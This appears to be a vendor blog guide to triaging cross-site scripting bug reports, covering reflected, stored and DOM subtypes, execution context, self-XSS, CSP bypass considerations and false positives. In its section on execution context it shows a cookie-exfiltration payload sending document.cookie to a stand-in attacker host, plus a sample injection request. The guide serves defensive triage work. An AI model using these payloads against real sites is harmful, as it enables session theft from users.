How to Triage XSS Reports: Context, Severity, and False Positives
A practitioner's guide to triaging XSS reports: reflected vs stored vs DOM, verifying execution context, self-XSS, CSP interaction, and common false positives.
XSS is the bug class that teaches you humility. It looks simple (script runs where it shouldn't) and then you spend twenty minutes working out whose browser, on which origin, under what conditions, and whether the alert(1) in the screenshot actually proves anything. Most XSS reports are not hard to reproduce. They're hard to rate, because the payload firing is the beginning of the triage question, not the end of it.
The volume doesn't help. XSS is the first thing scanners look for and the first thing a new researcher learns, so it arrives constantly, in every flavour, at every quality level. A good chunk of it is AI-generated filler with a payload that was never actually executed. Sorting the real ones out fast is mostly about knowing which questions to ask.
Get the subtype right first
The reflected/stored/DOM distinction drives both severity and the fix owner.
- Reflected XSS requires delivering a crafted request to a victim. The payload lives in the URL or a form the attacker gets the victim to submit. Impact is gated by a delivery step, which caps severity for most programs unless the reflected sink sits somewhere pre-auth and high-value.
- Stored XSS persists server-side and fires for whoever loads the affected view. No delivery trick needed. If the stored payload renders in another user's session (or worse, an admin's), this is your high-severity case. "Stored XSS in a field only I can see and only I render" is a very different bug, and often not much of one.
- DOM XSS never touches the server sink; the injection happens client-side, usually a source like
location.hashflowing into a sink likeinnerHTMLoreval. The server logs show nothing. Reproduction is a client-side data flow, and the fix belongs to the frontend, not the templating layer.
Getting this wrong misroutes the fix and misprices the bug. A report titled "stored XSS" that's actually reflected (the value just happened to persist in a URL the researcher reused) is a downgrade waiting to happen, and you want to catch it before it reaches the payout conversation. Our severity guide leans hard on this: same bug class, wildly different scores depending on who executes and how.
Verify the execution context
The single most important triage question for XSS: whose browser runs this, on which origin?
alert(document.domain) is worth a hundred alert(1) screenshots because it answers the origin question directly. If the payload executes and document.domain reads back your actual sensitive application origin, you have real script execution in a context that can touch that origin's DOM, cookies (subject to HttpOnly), and same-origin requests. If it reads back a sandbox domain, a CDN origin, or an isolated user-content domain that holds nothing valuable, the impact is a fraction of what the title claims.
So when you reproduce, check:
- Which origin fired the script.
alert(document.domain),alert(location.origin), or better, a payload that reads a same-origin secret to prove reach:new Image().src='//attacker/'+document.cookiein a lab, or fetching an authenticated endpoint and exfiltrating a token fragment. - Whose session. A payload that runs only in the reporter's own browser, only after they paste it into their own console or their own devtools, is self-XSS. A payload that runs in a different user's session because it was stored or delivered is the real thing.
- What it can reach. Same-origin script that can hit authenticated endpoints is severe. Script trapped on a throwaway origin with no auth context and nothing to steal is close to noise.
GET /search?q=<img src=x onerror=alert(document.domain)> HTTP/1.1
Host: app.example.com
Cookie: session=<victim-session>
If that reflects unescaped into an HTML context and fires with document.domain = app.example.com, you have a reproducible reflected XSS on the sensitive origin. Note the context word: HTML context. Attribute context, JS-string context, and URL context each need different escaping and different payloads, and a report that fires in one but claims another is often not reproducible as written.
Self-XSS is usually Informative, until it isn't
Self-XSS (the victim must paste the payload into their own devtools console, or into a field only they can see and only they render) is the single most over-reported "critical." On its own it's Informative on most programs, because the threat model is "attacker convinces victim to attack themselves," which browsers actively warn against.
The exception is chaining. Self-XSS becomes a real finding when it's paired with something that removes the self-inflicted step:
- Self-XSS in a profile field plus a CSRF that lets an attacker write to that field for a victim → now it's stored XSS with an attacker-controlled trigger.
- Self-XSS plus a content-injection bug that renders the field in someone else's view.
So don't reflexively close self-XSS. Ask whether the report (or a report you could reasonably expect next week) supplies the missing delivery primitive. If the researcher already chained it, rate the chain, not the pieces.
CSP changes the math, but read it carefully
A strong Content-Security-Policy can neuter an injection that would otherwise execute. But "there's a CSP" is not a get-out-of-XSS-free card, and neither is "there's a CSP header" a reason to close a report where the payload demonstrably fired anyway.
What actually matters:
- Did the payload execute despite the CSP? If yes, the CSP is irrelevant to this report: it didn't stop the bug. Rate the bug.
- Is the CSP bypassable?
unsafe-inline, an overly broadscript-srcwith a JSONP endpoint or a permissive CDN, anoncethat's predictable or reused. A CSP with holes is a speed bump, and a researcher who demonstrates the bypass has done real work. - Does the CSP block it entirely? Then an injection point that can't execute is, at most, an HTML injection, potentially still worth reporting for content spoofing or dangling-markup exfiltration, but not XSS-severity.
The mistake is treating the CSP as a binary. Read the actual policy, find the weakest directive, and decide whether the payload's execution path survives it.
Common false positives
These eat triage time. Recognise them fast.
| Looks like XSS | Actually |
|---|---|
| Payload in an alert screenshot, no request shown | Possibly never executed against the real app; ask for a reproducible request |
Fires inside a sandboxed iframe with no allow-scripts reaching the parent |
Contained; can't touch the sensitive origin |
Reflects into a Content-Type: text/plain or JSON response |
Browser won't parse it as HTML; not XSS as delivered |
"XSS" that's really the value echoed but HTML-encoded (<script>) |
Output is sanitised; the encoding is the defence working |
| Executes only in the reporter's console/devtools | Self-XSS |
| Fires on an isolated user-content origin holding nothing | Real execution, negligible impact |
The sanitised-output case is the most common by far. A researcher sees their <script> string appear in the response body and reports XSS without checking whether it's HTML-encoded. Always view the raw response and confirm the payload is present unescaped in a context that parses it. If the < came back as <, the app did its job.
The text/plain and JSON cases are close cousins: the payload is unescaped but the response won't be parsed as a document, so nothing executes. Watch for X-Content-Type-Options: nosniff; without it, some legacy conditions let content-type sniffing resurrect an XSS, and a researcher who demonstrates that has a real finding.
Payload verification discipline
The habit that saves you: never accept a claimed payload you haven't fired yourself. Reproduce with your own request, against the actual origin, and confirm three things: it executes, it executes on the origin that matters, and it executes in a session other than the attacker's own (or that a delivery/chaining step supplies that). Screenshot document.domain, not 1.
When a report is real but under-proven, one crisp request beats a paragraph of back-and-forth: "confirmed reflected XSS on app.example.com, fires in HTML context via ?q=; can you confirm it persists across sessions or is this per-request?" This is exactly the reproduce-then-rate discipline in our general triage workflow: the payload firing tells you the bug exists; the context tells you what it's worth.
XSS triage is fast when you know the questions and slow when you're guessing, and guessing wrong on execution context is how programs overpay for self-XSS and underpay for the stored bug in the admin panel. TRIAGERS™ runs on-demand triage teams who've fired every payload variant enough times to rate them on sight. If your XSS queue needs a steadier hand, reach out.